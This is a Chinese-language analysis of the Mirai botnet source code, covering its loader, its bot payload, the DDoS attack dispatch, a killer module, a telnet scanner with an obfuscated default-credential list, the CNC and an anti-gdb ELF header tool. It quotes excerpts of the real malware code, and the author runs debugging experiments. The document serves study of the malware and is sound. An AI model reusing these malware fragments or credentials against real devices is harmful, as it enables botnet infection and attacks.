1. 整体概要 Mirai是一种被用于进行DDos攻击的恶意软件, 能够感染多种架构, 特点是服务端进行分发, 而不是病毒本身进行复制感染, 有白名单功能, 并可以清除异己.
主要的目录结构为:
1 2 3 4 5 6 7 8 9 10 11 12 13 Mirai-Source-Code ├── dlr │ └── release ├── loader -> 加载器 │ ├── bins -> 预编译完成的各架构可执行文件 │ └── src │ └── headers ├── mirai -> 本体 │ ├── bot -> 被控制端(payload) │ ├── cnc -> 控制端 │ └── tools -> 包含一些工具, 如加密, 监听scanner部分发信 └── scripts └── images
2. 加载器(loader)部分 loader部分目录结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 Mirai-Source-Code/loader ├── bins -> 完成预编译的各架构payload │ ├── dlr.arm │ ├── dlr.arm7 │ ├── dlr.m68k │ ├── dlr.mips │ ├── dlr.mpsl │ ├── dlr.ppc │ ├── dlr.sh4 │ ├── dlr.spc │ └── dlr.x86 ├── build.debug.sh ├── build.sh └── src ├── binary.c -> 加载bin目录下的二进制文件 ├── connection.c -> 处理登陆操作 ├── headers │ ├── binary.h │ ├── connection.h │ ├── includes.h │ ├── server.h │ ├── telnet_info.h │ └── util.h ├── main.c -> 入口函数 ├── server.c -> 建立连接, 使用telnet协议进行连接, 发送payload ├── telnet_info.c -> 解析telnet_info └── util.c -> 一些函数, 如字符串处理, 套接字读写, 套接字绑定等
loader部分主要用于将对应架构的payload文件(在bin目录下)加载到受感染的机器上, Mirai基于telnet协议进行攻击, 其中重要的数据结构是struct server
, 其抽象了telnet连接, 并提供了完整的函数, 进行了类似面向对象的封装, 以下是 server.h
中定义的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 struct server *server_create (uint8_t threads, uint8_t addr_len, ipv4_t *addrs, uint32_t max_open, char *wghip, port_t wghp, char *thip) ;void server_destroy (struct server *srv) ;void server_queue_telnet (struct server *srv, struct telnet_info *info) ;void server_telnet_probe (struct server *srv, struct telnet_info *info) ; static void bind_core (int core) ;static void *worker (void *arg) ;static void handle_output_buffers (struct server_worker *) ;static void handle_event (struct server_worker *wrker, struct epoll_event *ev) ;static void *timeout_thread (void *) ;
3. 本体payload部分 本体的源码路径在 /mirai/bot
, 是在被攻击机器(客户机)上执行的代码.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 Mirai-Source-Code/mirai/bot ├── attack_app.c ├── attack.c --------> 执行Dos攻击行为的部分, 配合其他几个 attack_*.c, 实现不同的攻击方式 ├── attack_gre.c ├── attack.h ├── attack_tcp.c ├── attack_udp.c ├── checksum.c-------> 校验数据和指令 ├── checksum.h ├── includes.h ├── killer.c---------> 用于排除异己 ├── killer.h ├── main.c ----------> 入口函数 ├── protocol.h ├── rand.c-----------> 产生随机数 ├── rand.h ├── resolv.c---------> 负责和DNS服务器通信, 进行域名解析 ├── resolv.h ├── scanner.c--------> 扫描其他可能的设备, 并将结果返回给loader模块, 进行散布 ├── scanner.h ├── table.c----------> 维护数据表, 储存如设备ID, 受感染设备特征信息 ├── table.h ├── util.c-----------> 提供基础的工具函数, 如字符串处理和内存搜索 └── util.h
3.1 主流程
首先自身解除链接, 并关闭watchdog, 防止电脑重启, 并防止gdb进行调试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 unlink(args[0 ]); sigemptyset(&sigs); sigaddset(&sigs, SIGINT); sigprocmask(SIG_BLOCK, &sigs, NULL ); signal(SIGCHLD, SIG_IGN); signal(SIGTRAP, &anti_gdb_entry); if ((wfd = open("/dev/watchdog" , 2 )) != -1 || (wfd = open("/dev/misc/watchdog" , 2 )) != -1 ) { int one = 1 ; ioctl(wfd, 0x80045704 , &one); close(wfd); wfd = 0 ; } chdir("/" ); #ifdef DEBUG unlock_tbl_if_nodebug(args[0 ]); anti_gdb_entry(0 ); #else if (unlock_tbl_if_nodebug(args[0 ])) raise(SIGTRAP); #endif
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 name_buf_len = ((rand_next() % 4 ) + 3 ) * 4 ; rand_alphastr(name_buf, name_buf_len); name_buf[name_buf_len] = 0 ; util_strcpy(args[0 ], name_buf); name_buf_len = ((rand_next() % 6 ) + 3 ) * 4 ; rand_alphastr(name_buf, name_buf_len); name_buf[name_buf_len] = 0 ; prctl(PR_SET_NAME, name_buf); table_unlock_val(TABLE_EXEC_SUCCESS); tbl_exec_succ = table_retrieve_val(TABLE_EXEC_SUCCESS, &tbl_exec_succ_len); write(STDOUT, tbl_exec_succ, tbl_exec_succ_len); write(STDOUT, "\n" , 1 ); table_lock_val(TABLE_EXEC_SUCCESS);
随后进行 attack_init()
和 killer_init()
, 之后进入主事件循环
在主事件循环中先通过文件描述符 fd_ctrl
检查自身进程状态, 决定自身进程是否需要被杀死, 这个行为使得Mirai能够保证一台设备上只有一个自己的实例运行, 防止了反复感染同一设备, 提高了扩散效率.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 if (fd_ctrl != -1 && FD_ISSET(fd_ctrl, &fdsetrd)){ struct sockaddr_in cli_addr ; socklen_t cli_addr_len = sizeof (cli_addr); accept(fd_ctrl, (struct sockaddr *)&cli_addr, &cli_addr_len); #ifdef DEBUG printf ("[main] Detected newer instance running! Killing self\n" ); #endif #ifdef MIRAI_TELNET scanner_kill(); #endif killer_kill(); attack_kill_all(); kill(pgid * -1 , 9 ); exit (0 ); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 errno = 0 ; n = recv(fd_serv, rdbuf, len, MSG_NOSIGNAL | MSG_PEEK); if (n == -1 ){ if (errno == EWOULDBLOCK || errno == EAGAIN || errno == EINTR) continue ; else n = 0 ; } if (n == 0 ){ #ifdef DEBUG printf ("[main] Lost connection with CNC (errno = %d) 2\n" , errno); #endif teardown_connection(); continue ; } recv(fd_serv, &len, sizeof (len), MSG_NOSIGNAL); len = ntohs(len); recv(fd_serv, rdbuf, len, MSG_NOSIGNAL); #ifdef DEBUG printf ("[main] Received %d bytes from CNC\n" , len);#endif if (len > 0 ) attack_parse(rdbuf, len);
3.2 attack部分 attack部分主要有以下几个文件组成
1 2 3 4 5 6 attack_app.c attack.c attack_gre.c attack.h attack_tcp.c attack_udp.c
他们分别实现了不同的攻击方式, attack.c
负责解析攻击参数, 调用对应的函数进行特定方式的攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 void attack_start (int duration, ATTACK_VECTOR vector , uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) { int pid1, pid2; pid1 = fork(); if (pid1 == -1 || pid1 > 0 ) return ; pid2 = fork(); if (pid2 == -1 ) exit (0 ); else if (pid2 == 0 ) { sleep(duration); kill(getppid(), 9 ); exit (0 ); } else { int i; for (i = 0 ; i < methods_len; i++) { if (methods[i]->vector == vector ) { #ifdef DEBUG printf ("[attack] Starting attack...\n" ); #endif methods[i]->func(targs_len, targs, opts_len, opts); break ; } } exit (0 ); } }
其中这个 methods
结构体定义如下
1 2 3 4 struct attack_method { ATTACK_FUNC func; ATTACK_VECTOR vector ; };
其中的攻击函数接口是设计统一的, 可以实现类似C++的函数重载, 多种攻击方式共用同一套接口实现, 这是部分的函数接口
1 2 3 4 void attack_udp_generic (uint8_t , struct attack_target *, uint8_t , struct attack_option *) ;void attack_udp_vse (uint8_t , struct attack_target *, uint8_t , struct attack_option *) ;void attack_udp_dns (uint8_t , struct attack_target *, uint8_t , struct attack_option *) ;void attack_udp_plain (uint8_t , struct attack_target *, uint8_t , struct attack_option *) ;
3.3 killer部分 killer部分只有2个文件, 其中实现了查找杀死同类程序并占用端口的行为, 向外暴露的函数只有3个:
1 2 3 void killer_init (void ) ; void killer_kill (void ) ;BOOL killer_kill_by_port (port_t ) ;
该部分会杀死在端口22, 23, 80的进程, 并占用这三个端口, 防止端口被重新启用
3.4 scanner部分 scanner部分会构造随机ip, 寻找可能连接的机器, 并尝试进行telnet连接, 使用23端口试图连接, 如果有回应就会尝试使用已经储存的弱密码登陆
1 2 3 4 5 6 7 8 9 10 11 12 add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56" , "\x51\x57\x52\x52\x4D\x50\x56" , 5 ); add_auth_entry("\x50\x4D\x4D\x56" , "" , 4 ); add_auth_entry("\x43\x46\x4F\x4B\x4C" , "\x52\x43\x51\x51\x55\x4D\x50\x46" , 4 ); add_auth_entry("\x50\x4D\x4D\x56" , "\x50\x4D\x4D\x56" , 4 ); add_auth_entry("\x50\x4D\x4D\x56" , "\x13\x10\x11\x16\x17" , 4 ); add_auth_entry("\x57\x51\x47\x50" , "\x57\x51\x47\x50" , 3 ); add_auth_entry("\x43\x46\x4F\x4B\x4C" , "" , 3 ); add_auth_entry("\x50\x4D\x4D\x56" , "\x52\x43\x51\x51" , 3 ); add_auth_entry("\x43\x46\x4F\x4B\x4C" , "\x43\x46\x4F\x4B\x4C\x13\x10\x11\x16" , 3 ); add_auth_entry("\x50\x4D\x4D\x56" , "\x13\x13\x13\x13" , 3 ); add_auth_entry("\x43\x46\x4F\x4B\x4C" , "\x51\x4F\x41\x43\x46\x4F\x4B\x4C" , 3 );
尝试登陆成功后会获取受感染机器的信息, 并发回给loader, (scannerListen.go进行处理)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 switch (conn->state) { case SC_HANDLE_IACS: if ((consumed = consume_iacs(conn)) > 0 ) { conn->state = SC_WAITING_USERNAME; #ifdef DEBUG printf ("[scanner] FD%d finished telnet negotiation\n" , conn->fd); #endif } break ; case SC_WAITING_USERNAME: if ((consumed = consume_user_prompt(conn)) > 0 ) { send(conn->fd, conn->auth->username, conn->auth->username_len, MSG_NOSIGNAL); send(conn->fd, "\r\n" , 2 , MSG_NOSIGNAL); conn->state = SC_WAITING_PASSWORD; #ifdef DEBUG printf ("[scanner] FD%d received username prompt\n" , conn->fd); #endif } break ; case SC_WAITING_PASSWORD: if ((consumed = consume_pass_prompt(conn)) > 0 ) { #ifdef DEBUG printf ("[scanner] FD%d received password prompt\n" , conn->fd); #endif send(conn->fd, conn->auth->password, conn->auth->password_len, MSG_NOSIGNAL); send(conn->fd, "\r\n" , 2 , MSG_NOSIGNAL); conn->state = SC_WAITING_PASSWD_RESP; } break ; }
3.5 其他部分 1 2 3 4 5 6 7 protocol.h-> 网络协议相关的数据结构和宏 chechsum.c-> 提供两个checksum函数, 只在scanner部分中向loader发回信息的时候才调用 chechsum.h table.c ---> 内置一份数据表, 用于随机扫描和尝试弱密码登陆, 以及数据表相关的函数 table.h util.c ----> 提供一些工具函数, 如字符串处理和获取本机ip地址 util.h
4. 控制端cnc部分 (不太会golang T^T) cnc部分是Mirai的控制端, 主要维护数据库, 以及下达攻击指令. 目录结构如下
1 2 3 4 5 6 7 8 9 mirai/cnc/ ├── admin.go ---> 处理管理员登陆, 创建新用户和初始化 ├── api.go ---> 向感染的节点发送命令 ├── attack.go ---> 处理用户攻击请求 ├── bot.go ---> bot定义和Handle()函数 ├── clientList.go---> 维护受感染的节点 ├── constants.go ---> 一段乱码, 只在这一个文件中出现, 不知道有什么用 ├── database.go ---> 包括用户登录验证, 新建用户, 处理白名单等的数据库管理 └── main.go ---> 入口函数, 解析命令行参数, 确定Mirai运行扫描还是攻击的模式
Notice 还在更新中
这个部分包含了一些工具性质的代码, 每个文件自己就可以编译成一个可执行文件
1 2 3 4 5 6 7 mirai/tools ├── badbot.c ------> 里面有一个死循环sleep, 不知道有什么用 ├── enc.c ------> 关键的加密函数 ├── nogdb.c ------> 修改ELF文件头, 使得gdb无法进行调试 ├── scanListen.go--> 监听来自被感染设备发回的信息 ├── single_load.c--> 也是loader的实现 └── wget.c ------> 下载文件用的, loader会使用
5.1 enc.c – 加密函数
Notice 还在更新中
5.2 nogdb.c – 防止gdb调试 nogdb.c实现了一个修改ELF文件头来达到防止gdb调试的小程序.
ELF是Linux下可执行文件的格式(类似于Windows下的PE格式), 他不是一种单一的格式, 而是一类格式的统称. 不同的系统采用不同种类的ELF可执行文件格式,例如Linux ELF和BSD ELF不能兼容.
首先了解一下ELF文件头的结构, 这里编写了一个小型的hello程序, 之后做实验要用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 typedef struct { unsigned char e_ident[EI_NIDENT]; Elf32_Half e_type; Elf32_Half e_machine; Elf32_Word e_version; Elf32_Addr e_entry; Elf32_Off e_phoff; Elf32_Off e_shoff; Elf32_Word e_flags; Elf32_Half e_ehsize; Elf32_Half e_phentsize; Elf32_Half e_phnum; Elf32_Half e_shentsize; Elf32_Half e_shnum; Elf32_Half e_shstrndx; } Elf32_Ehdr;
测试程序源码
1 2 3 4 5 6 #include <stdio.h> int main (int argc, char ** argv) { printf ("hello\n" ); return 0 ; }
执行clang -g hello.c -o hello
进行编译, 并使用readelf
读取ELF文件头
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 [aurora@archlinux] ~/Desktop/notes/mirai_analyse > readelf -h ./hello ELF 头: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 类别: ELF64 数据: 2 补码,小端序 (little endian) Version: 1 (current) OS/ABI: UNIX - System V ABI 版本: 0 类型: DYN (Position-Independent Executable file) 系统架构: Advanced Micro Devices X86-64 版本: 0x1 入口点地址: 0x1040 here->程序头起点: 64 (bytes into file) Start of section headers: 14176 (bytes into file) 标志: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 13 Size of section headers: 64 (bytes) Number of section headers: 37 Section header string table index: 36
此时执行 gdb ./hello
, 可以正常的调试
编译 nogdb.c
得到可执行文件, 执行 ./nogdb ./hello
对 hello
进行处理, 发现不能使用gdb调试(识别不出可执行文件):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 [aurora@archlinux] ~/Desktop/notes/mirai_analyse > gdb ./hello GNU gdb (GDB) 15.1 Copyright (C) 2024 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-pc-linux-gnu" . Type "show configuration" for configuration details. For bug reporting instructions, please see: <https://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help , type "help" . Type "apropos word" to search for commands related to "word" ... Registered pretty printers for UE classes Registered pretty printers for UE classes Registered pretty printers for UE classes ->"/home/aurora/Desktop/notes/mirai_analyse/./hello" : not in executable format: file format not recognized (gdb) l No symbol table is loaded. Use the "file" command .
再次使用readelf
读取ELF文件头
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 [aurora@archlinux] ~/Desktop/notes/mirai_analyse > readelf -h ./hello ELF 头: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 类别: ELF64 数据: 2 补码,小端序 (little endian) Version: 1 (current) OS/ABI: UNIX - System V ABI 版本: 0 readelf:错误:Reading 728 bytes extends past end of file for 程序头 类型: DYN (共享目标文件) 系统架构: Advanced Micro Devices X86-64 版本: 0x1 入口点地址: 0x1040 here->程序头起点: 65535 (bytes into file) Start of section headers: 14176 (bytes into file) 标志: 0xffffffff Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 13 Size of section headers: 64 (bytes) Number of section headers: 37 Section header string table index: 36 readelf:错误:Reading 728 bytes extends past end of file for 程序头
阅读nogdb
内部代码得知, 他修改了三个字段: 段表偏移地址, 节表偏移地址, 程序入口地址, 导致无法调试和执行
1 2 3 4 5 6 7 8 9 header->e_shoff = 0xffff ; header->e_shnum = 0xffff ; header->e_shstrndx = 0xffff ;
6. 代码风格
Notice 还在更新中